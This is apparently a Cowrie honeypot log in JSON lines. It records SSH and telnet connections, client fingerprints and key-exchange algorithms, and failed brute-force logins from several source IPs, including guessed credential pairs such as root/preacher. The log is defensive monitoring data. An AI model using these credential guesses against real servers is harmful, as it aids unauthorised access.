{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:57.714359Z","src_ip":"91.92.40.176","session":"9cd4871fa088","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"password","message":"login attempt [ts3/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:57.963148Z","src_ip":"91.92.40.176","session":"9cd4871fa088","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:20:59.045779Z","src_ip":"91.92.40.176","session":"9cd4871fa088","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.119.22","src_port":51702,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f43612b5c71","protocol":"ssh","message":"New connection: 154.16.119.22:51702 (10.17.0.5:22) [session: 3f43612b5c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:21:15.289581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:21:15.293799Z","src_ip":"154.16.119.22","session":"3f43612b5c71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:21:15.322902Z","src_ip":"154.16.119.22","session":"3f43612b5c71","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:83:a9:a9:ce:4b:6a:e5:17:1b:70:69:96:b5:e2:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsRIwt37o/a0+34Q9kggBEohdqpjuPY4noqa6jjrEb1stDtSZxGRJzuTLXM/l0yojAwFKjOBROKY4FqDgyEJIl814UjUBvaOkRd3wAvLiCgAadSpHd0qyrB7SCsjiNq2+YlFAH2pj1bsX9VsG3dmF3tWkzKtocXGiwy7NmhPKpVyPGMk/MQq4wducCd5PxhwKkw/kPx4Gpyu9Zo3x4gDfy2QKfI8fO33llHPAX6ALo5cGBKnEkLdLvtEaES9fJSt9d3bOTJgvL6tkDgErptL1x7fNulOVuV7GrK3BV3YtYVtUTIzwAPjMYiNr1rCj56YuGbNQcbWztX1zrKIml+G8Jw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:83:a9:a9:ce:4b:6a:e5:17:1b:70:69:96:b5:e2:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:21:15.440902Z","src_ip":"154.16.119.22","session":"3f43612b5c71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:83:a9:a9:ce:4b:6a:e5:17:1b:70:69:96:b5:e2:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsRIwt37o/a0+34Q9kggBEohdqpjuPY4noqa6jjrEb1stDtSZxGRJzuTLXM/l0yojAwFKjOBROKY4FqDgyEJIl814UjUBvaOkRd3wAvLiCgAadSpHd0qyrB7SCsjiNq2+YlFAH2pj1bsX9VsG3dmF3tWkzKtocXGiwy7NmhPKpVyPGMk/MQq4wducCd5PxhwKkw/kPx4Gpyu9Zo3x4gDfy2QKfI8fO33llHPAX6ALo5cGBKnEkLdLvtEaES9fJSt9d3bOTJgvL6tkDgErptL1x7fNulOVuV7GrK3BV3YtYVtUTIzwAPjMYiNr1rCj56YuGbNQcbWztX1zrKIml+G8Jw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:21:15.443948Z","src_ip":"154.16.119.22","session":"3f43612b5c71","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:58:77:05:49:29:35:52:73:44:8a:ef:8f:70:8c:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwswfyD7yyIiwxQaythIOcTh1IZdIfE0EPwutoprmS3kZhuxIa8dPS+IjkGELPqRVIUZJ0VXpsaLQfF3Wcege3HmasPAYrwTZNJNUH55OScKT9+OTN8vtFAnanm56psUJ8soczLgvDWY8qNdQfUfgzpo2SMaOo8i+ptzbQ9u05XaKRipkHZ8ZuhCftxntfXM1g75ztSLTUXYTDMUC3Zs8UtiMqMB5vTndwMJWj1GO+4oMo2Rli7wbTZyaq7PL3jNU0rxA1aJr341CS/pV+jJjZ2slClvwvrDPwlF8+6/w0J3EskVnP4kOmqr8lJbWRrFho2R/r/OAaCTCd7F671OTSqRTRREAhbgWHAZIVHXUpTOl51lbl0FHevs44ld7/rbc40hSQMZ7NpXdugv7dHi/Pl6htfyFOfn9b6blgKqPVzMODL0XIdRY3GXUiBzOHMn9E5OHVZpK8GWTZFOM1UbAf0QNOFC3RuFAXKB/PhT1BMEDXE3PnkIe4isWS89c4iekRruT/8r2xrRN4rA8SXyxfZt3aOpuGQeVUZEv0kpz+8KEkTtZf3GNVnzTRMLyrX93rKLiUWyVAuTqC8KnjuUnwoMOq18h9RmoutnPy7ndlKCTxbBA/0RiQM2Rpu9Zb/aKrXQXfvvQKmHFJiEMFU8YnJq7kufdIVFIMBDMoiWtFyw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 84:58:77:05:49:29:35:52:73:44:8a:ef:8f:70:8c:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:21:15.473360Z","src_ip":"154.16.119.22","session":"3f43612b5c71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:58:77:05:49:29:35:52:73:44:8a:ef:8f:70:8c:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwswfyD7yyIiwxQaythIOcTh1IZdIfE0EPwutoprmS3kZhuxIa8dPS+IjkGELPqRVIUZJ0VXpsaLQfF3Wcege3HmasPAYrwTZNJNUH55OScKT9+OTN8vtFAnanm56psUJ8soczLgvDWY8qNdQfUfgzpo2SMaOo8i+ptzbQ9u05XaKRipkHZ8ZuhCftxntfXM1g75ztSLTUXYTDMUC3Zs8UtiMqMB5vTndwMJWj1GO+4oMo2Rli7wbTZyaq7PL3jNU0rxA1aJr341CS/pV+jJjZ2slClvwvrDPwlF8+6/w0J3EskVnP4kOmqr8lJbWRrFho2R/r/OAaCTCd7F671OTSqRTRREAhbgWHAZIVHXUpTOl51lbl0FHevs44ld7/rbc40hSQMZ7NpXdugv7dHi/Pl6htfyFOfn9b6blgKqPVzMODL0XIdRY3GXUiBzOHMn9E5OHVZpK8GWTZFOM1UbAf0QNOFC3RuFAXKB/PhT1BMEDXE3PnkIe4isWS89c4iekRruT/8r2xrRN4rA8SXyxfZt3aOpuGQeVUZEv0kpz+8KEkTtZf3GNVnzTRMLyrX93rKLiUWyVAuTqC8KnjuUnwoMOq18h9RmoutnPy7ndlKCTxbBA/0RiQM2Rpu9Zb/aKrXQXfvvQKmHFJiEMFU8YnJq7kufdIVFIMBDMoiWtFyw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:21:15.476780Z","src_ip":"154.16.119.22","session":"3f43612b5c71","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:09:8f:f8:c5:b1:f0:aa:26:e4:0a:4f:4f:60:dd:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpmGtvYVpc6j3V7l76BGEXztyAkiH/qQEdpVFgnTcCrUInagubB7JJqnqzULk+y1hH1/zZBAKoJj+oKwNnn68Ak5HWkSZSu2Vtynsmk8Wyv4e8Q8txFJ5X5spoIRnnZgDQKk7+5SP68sh9+Fqcj4fg2zEvmjo4T2R7c+bo+DvD890K7LHiywZPXOQ0QqE6uTCXWbzvK9nVpP3iEm/m7XvJxvmB4nm8Fstt/DK+LwIwmgQ1D9zUAv1lmKb3Y4bNgiHl9vitWzenohnp/xhmHJHRHF6da13Q1qn2JVV4JVivp8raDe7FqVWl54ri0oSTLwtt/QTXPIG7ufLQobh0RWqJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:09:8f:f8:c5:b1:f0:aa:26:e4:0a:4f:4f:60:dd:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:21:15.505068Z","src_ip":"154.16.119.22","session":"3f43612b5c71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:09:8f:f8:c5:b1:f0:aa:26:e4:0a:4f:4f:60:dd:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpmGtvYVpc6j3V7l76BGEXztyAkiH/qQEdpVFgnTcCrUInagubB7JJqnqzULk+y1hH1/zZBAKoJj+oKwNnn68Ak5HWkSZSu2Vtynsmk8Wyv4e8Q8txFJ5X5spoIRnnZgDQKk7+5SP68sh9+Fqcj4fg2zEvmjo4T2R7c+bo+DvD890K7LHiywZPXOQ0QqE6uTCXWbzvK9nVpP3iEm/m7XvJxvmB4nm8Fstt/DK+LwIwmgQ1D9zUAv1lmKb3Y4bNgiHl9vitWzenohnp/xhmHJHRHF6da13Q1qn2JVV4JVivp8raDe7FqVWl54ri0oSTLwtt/QTXPIG7ufLQobh0RWqJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:21:15.508506Z","src_ip":"154.16.119.22","session":"3f43612b5c71","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a6:ad:f2:fb:08:8f:6c:4d:32:6c:de:41:b2:95:59:ff","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAP48XdgzcwCibWG//MtQjUZYLZklx5pn0tEAk8oFs+Zaik9dfJ1FXGK+QL/EYX65WD1MnacTliiJAow8550PH9zvxYTkTm5y56Ib23A3mQpfSl73hP4cYnWDo7QalRlpKeuS1UbSmhgN+BQAcQD7/nodGESj+Lb/YgEGPX8Qux+PAAAAFQDrNmMbE47O9shCiylfwp58KpW31QAAAIEAg0QEqtST5vgZ5GogAyJmVUXXzOT2Uvwd4qFUMx+vVPfQ8SmRXeG1h+jZk65GhIrihLJLgWf9IT8mY+cR0Yano0vdD1t4htFmJJYJYoPNCLFcMsFx/flu96e5kIgjp9n5By3c4X4URfM5pD5LDr2MTY/XAVcoo8voeOHqMuO7yUkAAACBAJCz+hdXSEgvZT60g4PUBH2ssoxQcuI3f0jXMYtihtHDT5zDwdD0igbszXNIudWuAV9zyd3r54/i5FQSYAmfcX0od+5+roHpivusXalX0CmbE5GKtfbpjSNrmFSrjZvjxRRXcd3aREKJCh2wHsSCyKjhoW34gW8EoETryL0XXhkE","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint a6:ad:f2:fb:08:8f:6c:4d:32:6c:de:41:b2:95:59:ff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:21:15.539549Z","src_ip":"154.16.119.22","session":"3f43612b5c71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a6:ad:f2:fb:08:8f:6c:4d:32:6c:de:41:b2:95:59:ff","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAP48XdgzcwCibWG//MtQjUZYLZklx5pn0tEAk8oFs+Zaik9dfJ1FXGK+QL/EYX65WD1MnacTliiJAow8550PH9zvxYTkTm5y56Ib23A3mQpfSl73hP4cYnWDo7QalRlpKeuS1UbSmhgN+BQAcQD7/nodGESj+Lb/YgEGPX8Qux+PAAAAFQDrNmMbE47O9shCiylfwp58KpW31QAAAIEAg0QEqtST5vgZ5GogAyJmVUXXzOT2Uvwd4qFUMx+vVPfQ8SmRXeG1h+jZk65GhIrihLJLgWf9IT8mY+cR0Yano0vdD1t4htFmJJYJYoPNCLFcMsFx/flu96e5kIgjp9n5By3c4X4URfM5pD5LDr2MTY/XAVcoo8voeOHqMuO7yUkAAACBAJCz+hdXSEgvZT60g4PUBH2ssoxQcuI3f0jXMYtihtHDT5zDwdD0igbszXNIudWuAV9zyd3r54/i5FQSYAmfcX0od+5+roHpivusXalX0CmbE5GKtfbpjSNrmFSrjZvjxRRXcd3aREKJCh2wHsSCyKjhoW34gW8EoETryL0XXhkE","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:21:15.543399Z","src_ip":"154.16.119.22","session":"3f43612b5c71","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:17:2f:b3:29:60:6e:4a:4e:8b:28:0c:4b:04:f0:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCvN/NfIpNvV7FozoX5acujGYMclQnFGxGKgORL9p9xmR4rjp+CUIdRO+cWlggN3ttG8CDWFMKEoQoO6nQENFt2EwVVqlTQ/wtusufxexzB909ZrEGe+k3ENBT5HvWjcwfB2BMvZ4pnvX85jjjgYVKxqUK6lOswcp9sNExZV+U5B44c5Ldb2M/SS8Prf0EXqwWLTz8PLf71mekHMkLP8lgwAT/dFJoop3ja0F4sDhXLGWVJEGDcd1iaxQgYMdhVpGMxsQ6EMfHbg0eBoytKht0a3FN0WjBfxId8HyvI7rs91/Ls4YB+dSY6tLkpCbTsXxMKtiVD6EAPwPp2SvMRjDTrJuhWy4WzZFvEmrEeRPNcss44oTMqlQ5rr6YdbWA/Z8E3zPaLknbC0ebtAk9rZBtcjCz5dT3fozjKYeEap+NfjPy1CfJK1xNHY67hO13NVIJTnNcemmO77PWKs4VIWwThJHURN/q/n2L2rmOlVsGFn39CcFNgpgBD/c41RNTQSqE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:17:2f:b3:29:60:6e:4a:4e:8b:28:0c:4b:04:f0:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:21:15.573044Z","src_ip":"154.16.119.22","session":"3f43612b5c71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:17:2f:b3:29:60:6e:4a:4e:8b:28:0c:4b:04:f0:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCvN/NfIpNvV7FozoX5acujGYMclQnFGxGKgORL9p9xmR4rjp+CUIdRO+cWlggN3ttG8CDWFMKEoQoO6nQENFt2EwVVqlTQ/wtusufxexzB909ZrEGe+k3ENBT5HvWjcwfB2BMvZ4pnvX85jjjgYVKxqUK6lOswcp9sNExZV+U5B44c5Ldb2M/SS8Prf0EXqwWLTz8PLf71mekHMkLP8lgwAT/dFJoop3ja0F4sDhXLGWVJEGDcd1iaxQgYMdhVpGMxsQ6EMfHbg0eBoytKht0a3FN0WjBfxId8HyvI7rs91/Ls4YB+dSY6tLkpCbTsXxMKtiVD6EAPwPp2SvMRjDTrJuhWy4WzZFvEmrEeRPNcss44oTMqlQ5rr6YdbWA/Z8E3zPaLknbC0ebtAk9rZBtcjCz5dT3fozjKYeEap+NfjPy1CfJK1xNHY67hO13NVIJTnNcemmO77PWKs4VIWwThJHURN/q/n2L2rmOlVsGFn39CcFNgpgBD/c41RNTQSqE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:21:15.575948Z","src_ip":"154.16.119.22","session":"3f43612b5c71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:21:15.603967Z","src_ip":"154.16.119.22","session":"3f43612b5c71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":100.33422803878784,"message":"Connection lost after 100 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:21:37.009113Z","src_ip":"137.184.5.188","session":"f374c4e5a44d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44322,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6f5e5e807a3","protocol":"telnet","message":"New connection: 170.64.224.25:44322 (159.203.135.109:23) [session: c6f5e5e807a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:21:47.883237Z"}
{"eventid":"cowrie.session.closed","duration":120.00274705886841,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:21:49.591861Z","src_ip":"137.184.5.188","session":"aae11347d367","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":41812,"dst_ip":"10.17.0.5","dst_port":22,"session":"76114f68c3d2","protocol":"ssh","message":"New connection: 77.94.47.83:41812 (10.17.0.5:22) [session: 76114f68c3d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:21:54.690995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:21:54.697218Z","src_ip":"77.94.47.83","session":"76114f68c3d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:21:54.810623Z","src_ip":"77.94.47.83","session":"76114f68c3d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"preacher","message":"login attempt [root/preacher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:21:55.142442Z","src_ip":"77.94.47.83","session":"76114f68c3d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:21:56.255823Z","src_ip":"77.94.47.83","session":"76114f68c3d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":49004,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed52e82e5523","protocol":"ssh","message":"New connection: 194.59.206.2:49004 (159.203.135.109:22) [session: ed52e82e5523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:22:01.598963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:22:01.602797Z","src_ip":"194.59.206.2","session":"ed52e82e5523","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:22:01.695177Z","src_ip":"194.59.206.2","session":"ed52e82e5523","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:22:01.795249Z","src_ip":"194.59.206.2","session":"ed52e82e5523","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.241","src_port":43474,"dst_ip":"159.203.135.109","dst_port":22,"session":"003529d8b69b","protocol":"ssh","message":"New connection: 162.241.239.241:43474 (159.203.135.109:22) [session: 003529d8b69b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:22:12.762635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:22:12.769301Z","src_ip":"162.241.239.241","session":"003529d8b69b","protocol":"ssh"}
